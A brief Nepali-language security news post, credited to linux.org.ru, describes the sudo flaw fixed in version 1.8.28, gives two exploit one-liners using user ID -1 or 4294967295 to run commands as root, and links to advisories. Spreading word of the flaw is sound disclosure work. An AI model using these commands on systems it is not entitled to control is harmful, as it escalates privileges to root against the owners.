sudo मा जोखिम

sudo मा बगले तपाईंलाई कुनै पनि कार्यान्वयनयोग्य फाइललाई रूटको रूपमा कार्यान्वयन गर्न अनुमति दिन्छ यदि /etc/sudoers ले यसलाई अन्य प्रयोगकर्ताहरूद्वारा कार्यान्वयन गर्न अनुमति दिन्छ र रूटको लागि निषेध गरिएको छ।

त्रुटि को शोषण धेरै सरल छ:

sudo -u#-1 id -u

वा:

sudo -u#4294967295 id -u

त्रुटि 1.8.28 अघि sudo को सबै संस्करणहरूमा अवस्थित छ

विवरणहरू:

https://thehackernews.com/2019/10/linux-sudo-run-as-root-flaw.html

https://www.sudo.ws/alerts/minus_1_uid.html

स्रोत: linux.org.ru